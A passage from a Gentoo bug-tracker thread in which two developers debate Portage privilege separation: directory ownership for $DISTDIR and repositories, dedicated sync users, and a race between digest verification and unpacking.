stdout and piped to a process that has $DISTDIR write privileges. > But this is almost the situation which we have currently, only that perhaps > the actual compilation might be excluded from that user. But I do not think > that the actual compilation is the main problem, in particular if the sticky > bits would be set on all above mentioned directories. The sticky bit will not plug all of the security holes, because the "portage" user will still need privileged status as part of the implementation details for FEATURES=userpriv. (In reply to Zac Medico from comment #84) > For example, portage could execute wget as an unprivileged user, > and the data that it fetches could be written to > stdout and piped to a process that has $DISTDIR write privileges. I do not see how such a trick might work for rsync or git (even less for eix). It might be used by egencache, though. > privileged status as part of the implementation details > for FEATURES=userpriv. I see. So having 2 separate users - one for $DISTDIR, repositories, /var/{e,}db, /var/lib/portage, and the other more privileged one for $PORTAGE_TMPDIR/portage and $CCACHE_DIR - might make sense. In any case, the sticky bit on all of these directories would be good. (In reply to Martin Väth from comment #85) > (In reply to Zac Medico from comment #84) > > For example, portage could execute wget as an unprivileged user, > > and the data that it fetches could be written to > > stdout and piped to a process that has $DISTDIR write privileges. > > I do not see how such a trick might work for rsync or git (even less for > eix). > It might be used by egencache, though. It's already supported by portage with FEATURES=usersync, if the repository's directory is owned by an unprivileged user. Of course, that's not very helpful from a security standpoint unless it's a git repository with signed commits that you can verify. > > privileged status as part of the implementation details > > for FEATURES=userpriv. > > I see. So having 2 separate users - one for $DISTDIR, repositories, > /var/{e,}db, /var/lib/portage, and the other more privileged one for > $PORTAGE_TMPDIR/portage and $CCACHE_DIR - might make sense. > In any case, the sticky bit on all of these directories would be good. No, all those things should be considered privileged. For example, if $DISTDIR is writable by a less privileged user, then that user can attempt to modify distfiles in the time between digest verification and unpack. (In reply to Zac Medico from comment #86) > For example, if $DISTDIR is writable by a less privileged user, > then that user can attempt to modify distfiles in the time between digest > verification and unpack. You are right: It is not possible to keep that file open, so the sticky bit won't help here. > > I do not see how such a trick might work for rsync or git > > It's already supported by portage with FEATURES=usersync I meant the trick you described that the dangerous task (wget/git/rsync) happens with lower privileges than the owner of the directory. It seems to me that the only way to achieve that would be to change the ownership before and after syncing. That is of course a horrible policy if users want to keep the repositories on squashfs+overlay/aufs, because then it effectively means to copy the complete repository for syncing. But if that really is the only way to achieve security, perhaps that route should be followed by recommended policy (e.g. by introducing a corresponding portage FEATURE and "reposync" user; of course, also currently users _might_ do this by introducing a user on their own and writing a wrapper script for syncing, but I doubt that many do unless it is strongly recommended in visible places.) If a policy with such a "reposync" user would be available, this user should perhaps be given read access to config files like /etc/portage/* and world{_,sets}, and then eix could by default drop permissions to that user instead of portage. (Or should one better introduce a third user for that task?) In any case, since unprivileged users should better not be members of the privileged "portage" group, it means that /etc/portage/* and world{_,sets} (if one wants that they are not readable by everybody) should belong to a different group. > unless it's a git repository with signed commits Of course: Verification of repository content by some signature is an issue which needs to be solved anyway, independently. But I think that is the content of a different bug/GLSA. (In reply to Martin Väth from comment #87) > > It's already supported by portage with FEATURES=usersync > > I meant the trick you described that the dangerous task (wget/git/rsync) > happens with lower privileges than the owner of the directory. > It seems to me that the only way to achieve that would be to change the > ownership before and after syncing. That is of course a horrible policy if > users want to keep the repositories on squashfs+overlay/aufs, because then > it effectively means to copy the complete repository for syncing. > But if that really is the only way to achieve security, perhaps that route > should be followed by recommended policy (e.g. by introducing a > corresponding portage FEATURE and "reposync" user; of course, also currently > users _might_ do this by introducing a user on their own and writing a > wrapper script for syncing, but I doubt that many do unless it is strongly > recommended in visible places.) It's not necessary to chown or copy the repository is you allocate a separate user for each repository, and you don't allow that user to be used for anything else. It's important to have a separate user for each repository, since you want to be able to sync repositories independently, without the possibility of having one repository compromised while you are syncing a different repository. > > unless it's a git repository with signed commits > > Of course: Verification of repository content by some signature is an issue > which needs to be solved anyway, independently. But I think that is the > content of a different bug/GLSA. Well, this discussion is all about privilege isolation. Without appropriate privilege isolation, your "verified" repository can easily become compromised, much like your files in $DISTDIR. (In reply to Zac Medico from comment #88) > It's not necessary to chown or copy the repository. It is as necessary/unnecessary as it is for $DISTDIR/wget. In fact, there is no difference between the two cases: Whoever the owner of the directory is, he is privileged enough to compromise any emerge by using a race between file/signature verification and usage (e.g. if he starts a background daemon or if an emerge process occurs "in parallel"). For this reason, such a privileged user should better not be used to access the net via a complex command like git/sync/wget. > It's important to have a separate user for each repository I do not agree that having an even larger number of privileged users for essentially the same task is better. _If_ the administrator is forced to verify that no background daemon is started and that no emerge runs in parallel, it is better to keep that setting as simple as possible (one dangerous privileged user for syncing and checking only...) > Without appropriate privilege isolation, your "verified" repository can > easily become compromised, much like your files in $DISTDIR. That's exactly the point, and that's why it really seems necessary to have one (privileged) user own the directories - actually this might even be root - and another unprivileged user do the syncing. Unfortunately, it seems that this is not possible for git/rsync without copying/chown. An alternative measurement which might be taken is that portage itself verifies that the "syncing" user has no background daemon running and that parallel syncing and emerge is completely blocked. But somehow this does not feel very safe: There might also be VMs running which portage cannot "see", or the directory might be shared with a different machine, etc. Admittedly, it would not be easy for an attacker to do a succesfull race in such a setting, but anyway this approach is not really safe. |
